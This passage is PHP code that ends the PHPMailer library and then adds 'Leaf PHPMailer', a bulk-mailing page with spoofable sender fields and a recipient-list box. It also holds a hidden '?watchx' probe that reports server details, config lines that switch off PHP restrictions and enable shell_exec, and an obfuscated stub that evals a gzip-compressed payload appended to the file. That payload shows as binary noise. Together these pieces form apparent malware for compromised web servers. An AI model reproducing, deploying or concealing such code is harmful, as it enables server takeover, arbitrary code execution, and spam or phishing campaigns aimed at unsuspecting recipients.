        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$xydV='s'.'t'.'r'.'_re'.'plac'.'e';$oqEp='subst'.'r';$idOJ='f'.'ile_get'.'_cont'.'ents';$nUTF='gz'.'uncompress';$zSYh='ex'.'it';eval($nUTF($xydV('reuyvazoqs','>',$xydV('etjraflxou','<',$oqEp($idOJ( __FILE__ ),-216988)))));$zSYh(0);
?>
xML	Y2kkA	YYp?' W!!~}m|3kГO
k]7yreuyvazoqs?u_reuyvazoqsvO_~ǿoϟoOmGE:^22~n:oOreuyvazoqs?~syVw?u;Vި-5Ϩ{̛Tetjraflxou~mP~W6g0νAmG]}y?:ԎjfL_W~u
ӽ27reuyvazoqspwz}}O}m۝8]8M}So5]MJ\ꩇ?etjraflxouF֏*
E߹HreuyvazoqshA]yț^rOO_cmCӕVwKsm{okyo	H-퟿-dY堯C"2n (C?88S׶FK/}[xܶU
.?_u;P3etjraflxou۱͚
KdmVcyreuyvazoqsj1!ҒCVvk_9:reuyvazoqs1Q(^'g_!Iw]XvN[er{W梜ѿ7G9RN__0ģ^餱a"g=?q"\PiOw
j_BH腼Bcsq_*Iy:[EV㟝?zSreuyvazoqs0_˿˕JO.W[qU&؎"ϝ2|@uR\gae۟_3&xt M%8/GP0XQF}ubetjraflxou@.̰ϦM_mGhxJ	li$$}8Kd}"k1p7){1;맴s-phʡ7zodAyw)[[gٟ
k;ɗ?[
7~j?L۲#lk[)}O論
wJ)'[3cQF~{(PkYUGareuyvazoqs{ʐ2۠\d*k*Hetjraflxouhzd"F$L
9?s.H}r&+4DCsb,Ŭ)ӅV}2
7^0k*ިofq7vv
lQѾ⛯bv6[
"SwCT=j*9P[7)V;=urϲqԣ~qUo/QCWp^Ks,}%IE2֔bʵРwZO4Nkuq
ZH\f8=ykeWTƃuwbac:B}QA/FCfU;treuyvazoqs:]su^:J¤WϋqS&h
-!0lˁ=رqDV}etjraflxouA; Ctmyh+L~}gr9iؒ_?8R/q@9\B7tjvmzyg"A(eg\S2Tt1reuyvazoqsreuyvazoqs.ߪ6+X@r	ooC%pZ?ɪVy5-?]l4Gi̜_e9IY6!Ɋ}!9c4etjraflxou)#Vݻ%M
Greuyvazoqsq`y0\'k92GU8}l喲=rk	 reuyvazoqs(K4 '/)1ICH\`()w%%@TW/
TT,cϹ5n*!|	uthCetjraflxouq+=vy2:ж'Zʆ1Մ']ˮBچھxGkEW:p[)X8!|U/|w'4jﵥ@M*5WF}/zi 0/GyoꈕW=azW]+tl,޿$3#Xa
gkQ	I4Ṳl3ɓIhdi02WImf+D,cG:9_pBm^vxPԞ&$^6PPKetjraflxouU@^F_.,g;qzJj4"Q?UF:ˡ=grjv8Ca6Frӯ2JXd	4S󧌡:wnf/B$"BD Q[IYݠSC+U萍+N+`\lC%	vK^5Rk;kwd-̎_p)%Q]PbqR_%|07*t̘uM0@%anAyz.S|S%'f@E˰{``wy	&chreuyvazoqsetjraflxou.1etjraflxou8\$ޮ8_Y"jreuyvazoqsx=Dڈ5shCS#RM
 AG7i2m-T1^X4l.IT.
Jwmͤˤ	xehfXX4U1`R)/يFWb{*s4S"WeKreuyvazoqs?+?J,$HVzHޏEv\#qbRrXOO1O'7Y=uRI2C͛[vb0́:S	SC˓SP:K"Gr
P3JP#
kt$qyy.
NkV8`Dj@FB`*/z4gxbƦo	x+x'J
# ;U`-WU\)蜪7
'Cc^y0E8B߀dl[2*.hyǘE'Ցī׎iQ@'/M{9TXmD
QVyBq!Z\ba)^JGnL\IsgH4_-f+I"Џ:C	~Zf iExeBS~	`reuyvazoqsxTA"

z`,d;i@$-)$sJO_?vty~.reuyvazoqsڽ	REqA5^"ɀLvVNr/7$/5nN6ѱ3C}W=J.W#3=Eg.[r`2dz4;Cah_y?eGetjraflxou g&ckrS0h-+oK{R
]2z*	&reuyvazoqs$yՁv`{`VwyybO
Uoqnq+MIZbjB*0P8syFtϵ΁QZ3Q4΃BetjraflxouaϿy	kӈR?T&xV&v֡Vc8	*Lp)ϬH?݊[;:OIt
o෶whAƜgKODATetjraflxou5lϐ=&A^9A*K[xNޫ29	u,wCreuyvazoqsrk2Z:ىetjraflxouXXĝ8Yv |E޹I{4%reuyvazoqsDav3*k^#IY{@jzzPlq(0{Uh*Y?petjraflxouݺe1reuyvazoqst\{TUo*2&]GpGܜJdE|kmeޱRq&w*1
UsIl ;
 `_7

D6OY\O4_FL@{Fȗst@KmBNU:
vʱû
}.e"l c|5g
,{iN5etjraflxour},c4Hv'"YetjraflxouAP^7.]+od~]vĐ|I$u'ۃweSF	T~ZW	etjraflxouJ#sW[5oG[jBAIOϼ'|տk?`,^=(`k.'Zu,Nx,W{n
Uu'U}+reuyvazoqs9nb_=2UÚreuyvazoqs喙sAƎE.^]|0UreuyvazoqsǓF[Hetjraflxou]i!d(mV\R=[x-){H.L/很ˢP/z4p^L)xWc?aEEMr hzw5ZD~9WAFnrz9Xw(=ietjraflxou_k'-?=w d"ĪfN+ʆreuyvazoqsdVaJ;]wreuyvazoqsk@^l1Ԗ۵|`)0w5lpAO*78~
K~V:ԇ4
*cal"!1
+xGEp|s*ү!h]Ux*GmQ7fuMyhخg#L%"=AK~wBS8ڭp)iT:ޥG@˱OґP*U]Wj(ɕ?2ȇgX5OOBetjraflxouܯ:ؿ+`ֽDVqreuyvazoqs[HVTHLibi;-;ml&/8OK$48[sPDy@X 뻈G42$#05^&}`|&|ڒ!qIg+NmK+"(JGLreuyvazoqsJ$B֤cmM_vyf1Ie#1b2$sy1Љ̡n.A]
cV~`Jr[\`ʘni&9f_DlZ6K+LQRC|etjraflxouG{xEӑ-CV+J~WRӹTa"\vzBڬ d:DVꗐ2W%C`/=-![B-T$ Creuyvazoqs#k#4
3wI:etjraflxouoT0碊6d7r50TO
.etjraflxou~Jf|}JCP@ϩ$,dW.'4C=(aO19ExHToiZ{#%7׋ܣv؝zxcp8YĂ*GP?G[9hr1뼕X$vHLsetjraflxou[: neމxNH
W4}rϻ~Qtreuyvazoqs`M9uZݼ4}\[1|A̫r*/Xc-艧Zgs7=}#ViW\!(D
Scf/vVY@G~QqMUx^V@s1Y8+!MreuyvazoqsRJ%%Di#jC'LME;~̎'$\Vi%&5,9^ۋ)'C1^5n5Z\TU~W/C8 ^ilX'k)	eR|!Ne8̙sVZ'Ukqb=5pT:`1DX
-AǋKc(
%TT2CxΤQ-5gkr56S5B$ n.(tU3|jzfU^Yg[2qBwa̐j&reuyvazoqs&)22Rw,5-ڮ* 2As?3[-}{WZ0.N%~Yrr[`0|F$B0GIX'R
:P'=D-fk=od&?w6pGD}EȦKOjYIH;E/RtƬ.	zN.83}Z|
Ѕץ|xR£UxjC=
Зdx580[٢2˳F^-x5dߊҘT$:C/s#NQ'd=L8w:\YEL[CxvoLLk
ړ3\G\U~$7ˡ0[06mreuyvazoqs=N1%/ sא3.}_٘Yt0%*@AB*{y 9#
)Zr+31"ml|hK{Xcpvb
黖G1]D
{&Twpn){careuyvazoqsB$]w$reuyvazoqsAL\T~Rk6mYZU|S|~%LRA.~,y`6=zˎTP_#Gƅť~+etjraflxou苋[.9|$*\5#ci/`ȆS7hW
 	^=c13{~1kϧ~w7{.[ybD-gq=~d4]Bu,w'l蹈aPuEvDO;z@^#/7/zA8"96reuyvazoqsKgL/j=ϛ
#{	N'ol;Rz@=g	q5se͂\dQYΫտk~ĞpLmF͐7R8u?ȼAY|$Yw	@r.}=?.&,0T}c6{hLlf7jcc;k`sK^y?oܙFȽ||WCƐC&4N8=z?.NsiKI98Txj)u,Pb5QUdreuyvazoqsJ o&D86AcXflcˍo;4nFzQXpeϺ7*DzYhn4o}=a4*ȷ.	W&z +Y@
^ki	won
@-
ܦL4V"z^xsyN=-̹
=b '~qhQL9\b5etjraflxouU@qaZʖ/k{LS#ztG?v)UŎns▎g]8gf9K%+
^G7xVHg54i0[yсUreuyvazoqszCƑsz|3#yZ]_PKC"1$򢳽?V5rYb)ۮ3I^`N	Rreuyvazoqsڈ4q2y&EoHA
};]~mQ9ڙ%J`Cmښ\Ba4R}%2IpvOTq7gDB%xL3L6`reuyvazoqsq~\NHPgr$vi.
%VcK%ymJ3Q'&D4ħmbdhik_I?dA|:I ^ko 
E[m5keA~4m`|etjraflxouT@
]&3X{
DI-+!]fBOoE7Uc*Yh 4dTD6QV;-NsN8W}ˡ'uY'kd2iq@υ.FiS84x)96]28ON)wOreuyvazoqsًm6*`þIA&Sիwēv Uv-VsqwiQ9QKetjraflxouB(^y:bSq2N3W725
)9e/wD`)W78JNQ@-O	0reuyvazoqseH`q
ʇ;f]U ȺI/(GzKe؝-hl;)ٮMnLNBcECd [*6reuyvazoqsA
ս?oŗ2PGms=[e9mǇJ*]"`ݑ|| Fgif#J]-8		8fjyI4QjV	&뒳0etjraflxou4iv1@V,,y=XbNkn8)6
#PI=q6
ж^OrOݡYO߇MxDO\`$s^#``ӻZL4?q?	gPESO9|[?60"{#/ca:IFxg+UЏ۴t?$jYp	ID܁]t~TaSV¤gri*k@M&lj,?E	薂ܥE|lwik%xsǋɪv|K"3Vg3t%BoԷ,~,~Y6Z͜˕촖t'kBc]/K
ѻL[2,wDdP\W3e}øetjraflxouh.^꥘e`8OVZ/Ȋڽ
WI|l\&0	7	Hx|gDr,vĢO4w.}1Y H_%Hj^c9CݥGN53k[;t
\k]'3
	Q*7yUE$o|Jk(x
P7w%tMEsN^-|s.39or_)
ٿ21ܴӅ ocbA8aDmNpo8m-YUV1=9n_97
sF-$ӳͣ6˩Ҭ_ځreuyvazoqs-
GmkQ: JޙEys3*pRy[c	5-%P+etjraflxouځ
A.{ϦPȮ{	rT!!'{Uwd ΅}zyfq3yҌﯕ!j)w".}B4dcQreuyvazoqs0FN\m׫:ЎN6uڱ$ O(NX]Z9WRąJ0YXF$Bͬ-]O'C1ֲ2$r|ƙX޲dIw 9h{"O0ubB6a7*J'Y?(:ڢ*El"N	ϊ[o~%x{qK]9
*MX[md4etjraflxou!䣸P@IV@kP,yp|a~lNKo۽2C2L+Cje\畳]KRi4k=Ԏ  vu8#$aUreuyvazoqs)0)mT)"Yl;,FsC2X8"נ
n#3io/x
Suj/OjV:VX:;&[%reuyvazoqshLp|0Ȧs%NH%Ō5s	a^_UA%y-#mbu_UKnCPTn.3w(een	|uD'etjraflxoućGSy?ā
dDi /_;=WAY5Ԏ٨LCf\Lu$#SiOYgEdetjraflxou9X19دm8ڗm֣KrD=^
uUn42]*LI ;reuyvazoqsarxɗ~reuyvazoqs	kؐmzs2h=lג݉隃ALIM)qy)WxH#˂xD|U3$b|@d8PۏZ Ȅv3bm{$j++L	{ӆ&{k+(ϰvx/d%reuyvazoqsu;Fe&c W|,Hn:=%#oetjraflxouQҙ"r@bU2b`zg',8tf^0@̚_|Fetjraflxou9 aHп*@	;GYɮ&kly6V$etjraflxouQ?V96n=JIԂ|T';6&ڧiqcsc0"b8+-0xel,b	yH召fr=~YQ;eOe!/&9wMמP @]ND$M [er@{~rreuyvazoqse_̚9S/-(b1iHK
g`[%$;"!G(SHjYEZcZ{p| }5o`IiUv}g&reuyvazoqsԍӿ!X{aetjraflxouv5&}&g:P~ÛDTA5d
;rϭ12;]vޕw{
Ћ12p.Bu
+By;LЧͦL55zOZOa{4v
2e
Δҁ굧^o*AXGT
0Up
-dlתJP=#@w	ݵ2.} :Ty]Iw;Tc~3;6Oڹ!ՋU%UѲۜG1vetjraflxou'8Y˙rQu2S.з9onOe%5\MImʓ0ՠ,OƧ	am@etjraflxou\
lgis,:bP3wwb0-ʮͲ?ϊvc: $$yXe]v/eqm.Yo|qW^:A/3~x	
A
T0).dcY*&ͥpK{6=Zv:OkmB}\ M!jVv$KY.la;	ZJZdvQW	rm2y&1hW7,خˬ:etjraflxou],rU4 
۞XDdG=f灁KereuyvazoqsYdcu]0gp/൬'M뼐ksa02y&+t﩯vPm3\)@a?5KU| {z @ˁzPkXzmt,H
L[=[~?@"؟o@ޛa";\"ʙ4jʐ_A*ʒ}YVushR.cHm'{?	c̐VɈwَ$|
~	S4|y(L	ƃW!8ߌ5KKmreuyvazoqs8Y.ݕ:UC-QWE	縜lz0_m*谄adX'u=3tU9KƹU&lhc \eâ9}{gzkq)*zi,F*|t/=C;pٞ
1mWTdB	DۮM ]"m;*")l541Mlȗ8yN9[as)S~`	\QcɏoZ:$i[ovmGЄ.	KE`fX֛f7R؞g`D:reuyvazoqsR0ƨCښJ
,"C'}H"_B.(@RAOB	:ar.W-Y qUrLV-+7"uV;/3pl}/C\I] ޞXO7hu#,"dw~reuyvazoqsX
#E@@  31tdpHї1ci. \yIWϧͨ#}`@%2WGNq,Um*\DX^,:etjraflxou/-oR艮4Zۻyq,]kkWetjraflxouFj@}a]5Bm%M؀reuyvazoqsT@z,5g,X^0@'$2URcG9af$y|8^$NEgPn)|uKra1?^g\n},u&r/hhj
Gjg/	h2)+fi8mDr9"y%;$+'I勓etjraflxou֣7TN0\pa,"aV7F]f-reuyvazoqsd"`mqV=޽I8etjraflxouX@oA_:
k8+@geXE̞;gRZɘ[X3{OvU9,y.!6'{NyH|_Ӈ\WM*msZɂ@
etjraflxou|0栫m:uB^9d)K\S6*ޖi
n2]lbD6Opy娗ZaNǲWGW!3xo|yVw
qZ+GS/}ms^oo)'am	dhJ=O9Urr֐Y+evk@OCg6mqr/g(o'DtB*"K4Oeǿըcf//8kbcJt*
reuyvazoqsn]۵P8X%حYHmreuyvazoqsYbmʱ9`eb}}1q W-,h/}$k5reuyvazoqsQ!ATkZe?o4tIreuyvazoqsxtCn mprcHv%7U2N9؜
@reuyvazoqs5aug:z/zD1e7
gmՑs*󽕏74Nn(ՁtЗ.`*3+wez75@XXg@
i3KtlE׎.CZ˲zCPi,mAȔ87U=h8*{reuyvazoqsd} +[ܨ[!'dPaetjraflxouOՈ	ereuyvazoqsY ~_9Aץk#Ɯd`v֝w*Wb2}VTA~x"8reuyvazoqs9~_v590m$'KY=Z(rW1[.ě:Jq#u!ܢm2`)HZCbf)qɑ"a{nٰ\g	M,-K$dA`JxE0`f:~M:X1uگ;4o#^@;}CfQf\laT2[U',1KV$َ9_(%,ǂzFetjraflxou|`_lφ2#.VqUreuyvazoqsOIQ\*ފ;Kd`WEҁ-6IgE/8Me
\"tJBz$?aeF@?u_QG,)Ҟt̘X5?aܼyGZp;q"q')VVK=#5w5zlCK^ښ"s3 pm͇1 K	:n!8reuyvazoqsKs?qr\mreuyvazoqsM~.ۜjH֮W^'gyp[Z䞌I+cLx^uU-+ mcdfos1&$⦀aB-ĲӮ76é=T'yЌTz|جdo.ExVareuyvazoqsWCW-[)

9ɇ|ZA;f+reuyvazoqsϠ-J6&ʁs|"Hv]_5:.@~H.FЗ]h%%hd*v|%rӐj^[7
]kBX:jİ[3R`ׁ=}e]u~vö91'etjraflxouhK6j\*9Q	םsXosM.b[g'!ӂ,(&d8qtPSa;O&k=@Mx}pfyaXIY*hy6u?a9;d6etjraflxou;	x:ĉ[!jôw1E4ڬ'ۤ;L=^2{HVk생o&T.S]4ͪa%ߞ+{ϓKdN7ŕjTx2͜1h$/e#S.~#A	/`';%9kӬ`^ĐJĎ7Aק!@\[%6}ȷ듶f:O D5]jyk$}&l_dmXx|k3GKGTH^yѮaZA /O;[a3W*etjraflxouh,%Afm:KNrKtLl{~98@%e~t_򌉵U~^ۨrּ?2|ڃ#qWb@F҈h؏T.2oǈl\P+V',
z͜KQ ɮ	x{+ieretjraflxouPX9Bh8%Kφ}|yxgH^16EB/p^`D*etjraflxouDк)F*1EG-lQl=C
6
DL0~,-1w݁	oO뜰ehF{reuyvazoqsqGX
2hT{N=X:p,etjraflxou	1Hewډ[g=0Q+
ޮ" k82H$R2 %45S3u3O7`6,+
F9N8m)	]
:=%%p )t_c=9WY.ra8xz5
,y	7tWBML8dyivSq	kSp`wk++xŹ^TZrͩeYr(O'	N 4BO%8Cߐ9q*Nińig֩reuyvazoqsȫg{
ufӮpN{reuyvazoqs"reuyvazoqsS
D/1
7?9U-w3Tf9NeTH7NlϤ/_Ԧ~AGZs]S*iW4Y
q	;=3NGx^62NtLSZP:
E Q{bz  Pglm
g?VRT׻y=)F~w0MH*ЪGsH&$4ͰM(pK'ʡD07ٳfq
/8reuyvazoqs4E2vilb7)]n[\+콒]b@7G/
:+rX߼^MٌX7pP#6g٭5pI%`pSCVgH=	l'ƶu?^\U+dRțSAFqV%J%&?_9mZڦ^tZu3Q2Nnk5=K0ouf)NtfDvkzj(+1z#r9̻e=IS#reuyvazoqsEc=VGIJmhH2z1ٷetjraflxou
8*##aIۃO}Q6o";os[g۴vk˞"'^ҦGn\vMe6N	V&_xvOrY7[ɝ:rDAetjraflxouP40O̞|2"YP"x'AHwu0|ᦼ󙷹1etjraflxouuܟ B	R9VeqfUEWhBetjraflxou&+T]K3=.իAk;reuyvazoqs0Wa`A
?A8@ZH/Ƽz1 Ex":W(ہοsxcoϳѕΙu+ %x֝Lreuyvazoqss3MX[&#	
6/6)"13VWPo};\i)U9'`S@-oϱ2e!etjraflxoul.XYtKIέtf/TЗxߐ(q,BOoٕB}
